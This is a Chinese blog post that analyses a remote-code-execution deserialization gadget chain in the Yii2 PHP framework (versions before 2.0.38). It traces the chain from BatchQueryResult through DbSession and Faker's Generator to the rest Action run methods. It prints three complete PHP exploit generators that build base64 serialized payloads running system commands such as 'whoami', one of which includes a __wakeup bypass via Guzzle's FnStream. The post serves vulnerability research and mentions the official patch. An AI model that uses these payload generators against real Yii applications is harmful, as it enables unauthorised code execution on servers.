zoukankan      html  css  js  c++  java
  • Yii框架反序列化RCE利用链分析

     
    影响范围
     

    Yii2 < 2.0.38
    

     
    测试版本 yii-basic-app-2.0.37.tgz
     
    原理我这边看了一下,是能够看懂,但是我是菜鸡,反序列化的链我构造不出来=。=
     
    漏洞位于

    /vendor/yiisoft/yii2/db/BatchQueryResult.php
     
    其中 __destruct调用了本地的 reset() 方法

     

     
    进去查看一下, reset 方法中的 _dataReader 可控
     
    这里面有两个思路,第一种查找其他类中的 close() 方法,还有一种就是查找 __call() 方法
     
    这里先使用第一种方法
     

    grep -r "function close(" ./
    

     

     
    这里面作者使用的是 /vendor/yiisoft/yii2/web/DbSession.php 我们进去查看一下
     

     
    可以看到 DbSession 调用了父类中的 getIsActive 方法,跟进去看看
     

     
    这里面作者说,只要是安装了 debug和gi 扩展就可以返回 true(好像是默认开启的)
     
    接着又调用父类中的 composeFields 方法
     

     

     
    其中 writeCallback可控
     
    call_user_func($this->writeCallback, $this)
     
    但是只能调用无参数的方法,就是将writeCallback赋值为数组的形式
     

    $writeCallback=[(new xxx),"aaa"];  //调用 xxx类中的 aaa 方法
    

     
    这里面作者找到了 /vendor/yiisoft/yii2/rest/IndexAction.php 中的 run 方法
     

     
    这里面 checkAccessid都可控,因此我们可以达到我们的目的
     

    下面来构造反序列化

     
    关于反序列化的配置,我也不是很会,也是看大佬们的文章一步一步来的,抱歉了
     

    <?php
    namespace yii
    est {
        class Action extends yiiaseAction
        {
            public $checkAccess;
        }
        class IndexAction extends Action
        {
            public function __construct($func, $param)
            {
                $this->checkAccess = $func;
                $this->id = $param;
            }
        }
    }
    namespace yiiweb {
        abstract class MultiFieldSession
        {
            public $writeCallback;
        }
        class DbSession extends MultiFieldSession
        {
            public function __construct($func, $param)
            {
                $this->writeCallback = [new yii
    estIndexAction($func, $param), "run"];
            }
        }
    }
    namespace yiiase {
        class BaseObject
        {
            //
        }
        class Action
        {
            public $id;
        }
    }
    namespace yiidb {
        use yiiaseBaseObject;
        class BatchQueryResult extends BaseObject
        {
            private $_dataReader;
            public function __construct($func, $param)
            {
                $this->_dataReader = new yiiwebDbSession($func, $param);
            }
        }
    }
    
    
    namespace{
    $exp = new yiidbBatchQueryResult("system", "whoami");
    print(base64_encode(serialize($exp)));
    }
    

     
     

     
    SiteController 控制器写一个反序列化点
     

     

     
    原本想试试用 /vendor/guzzlehttp/psr7/src/FnStream.php 构造的
     

     

     
    但是限制了不能反序列化
     
    但是可以尝试CVE-2016-7124漏洞php的__wakeup方法绕过
     

    PHP5 < 5.6.25
    PHP7 < 7.0.10
    
    <?php
    namespace yii
    est {
        class Action extends yiiaseAction
        {
            public $checkAccess;
        }
        class IndexAction extends Action
        {
            public function __construct($func, $param)
            {
                $this->checkAccess = $func;
                $this->id = $param;
            }
        }
    }
    namespace PsrHttpMessage{
        interface StreamInterface{
    
        }
    }
    namespace GuzzleHttpPsr7{
    
        use PsrHttpMessageStreamInterface;
    
        class FnStream implements StreamInterface {
            public function __construct($func, $param)
            {
                $this->_fn_close=[new yii
    estIndexAction($func, $param), "run"];
            }
        }
    }
    namespace yiiweb {
        abstract class MultiFieldSession
        {
            public $writeCallback;
        }
        class DbSession extends MultiFieldSession
        {
            public function __construct($func, $param)
            {
                $this->writeCallback = [new yii
    estIndexAction($func, $param), "run"];
            }
        }
    }
    namespace yiiase {
        class BaseObject
        {
            //
        }
        class Action
        {
            public $id;
        }
    }
    namespace yiidb {
        use yiiaseBaseObject;
        class BatchQueryResult extends BaseObject
        {
            private $_dataReader;
            public function __construct($func, $param)
            {
                $this->_dataReader = new GuzzleHttpPsr7FnStream($func, $param);
            }
        }
    }
    
    
    namespace{
    $exp = new yiidbBatchQueryResult("system", "whoami");
    print(base64_encode(str_replace(":1:{s:9",":2:{s:9",serialize($exp))));
    
    }
    

     

     

    测试可以绕过
     
    有点疑惑,我是用的是 7.0.33 版本的PHP,不知道为啥还可以绕过
     

     

     
    本机 7.1.23 也可以
     

    试试第二种方式分析

     
    第二种就是查找 __call 函数了
     

     
    我这里找到 /vendor/fzaninotto/faker/src/Faker/Generator.php
     

     
    跟进 format
     

     
    跟进 getFormatter
     

     
    只看前部分, $formatters 可控,但是函数参数不可控,但是可以调用所有类中函数了,到这里的思路跟前面一样,可以调用 /vendor/yiisoft/yii2/rest/IndexAction.php 以及 /vendor/yiisoft/yii2/rest/CreateAction.php 中的 run方法
     
    这里直接粘exp
     

    <?php
    namespace yii
    est{
        class CreateAction{
            public $checkAccess;
            public $id;
    
            public function __construct(){
                $this->checkAccess = 'system';
                $this->id = 'ls -al';
            }
        }
    }
    
    namespace Faker{
        use yii
    estCreateAction;
    
        class Generator{
            protected $formatters;
    
            public function __construct(){
                $this->formatters['close'] = [new CreateAction, 'run'];
            }
        }
    }
    
    namespace yiidb{
        use FakerGenerator;
    
        class BatchQueryResult{
            private $_dataReader;
    
            public function __construct(){
                $this->_dataReader = new Generator;
            }
        }
    }
    namespace{
        echo base64_encode(serialize(new yiidbBatchQueryResult));
    }
    ?>
    

    官方修补

     
    官方修补的方式也很简单,在BatchQueryResult中添加了 __wakeup 阻止其序列化

     

     
    试了一下 __wakeup 绕过,没有成功,本地也没有合适的版本测试(搞不懂上面是怎么成功了)
     

    参考资料

     
    https://mp.weixin.qq.com/s/KNhKti5Kcl-She4pU3D-5g

    https://www.cnblogs.com/potatsoSec/p/13693969.html

    https://xz.aliyun.com/t/8082#toc-8

    https://mp.weixin.qq.com/s/NHBpF446yKQbRTiNQr8ztA

  • 相关阅读:
    聊聊、Highcharts 动态数据
    聊聊、Zookeeper Linux 启动
    聊聊、Zookeeper 客户端 Curator
    聊聊、Zookeeper 客户端 ZkClient
    聊聊、Zookeeper API
    聊聊、Zookeeper 数据结构和操作命令
    聊聊、Java 网络编程
    《Mysql 索引
    《Mysql 事务
    《Mysql 一条 SQL 更新语句是如何执行的?(Redo log)》
  • 原文地址:https://www.cnblogs.com/Mikasa-Ackerman/p/Yii-kuang-jia-fan-xu-lie-huaRCE-li-yong-lian-fen-x.html
Copyright © 2011-2022 走看看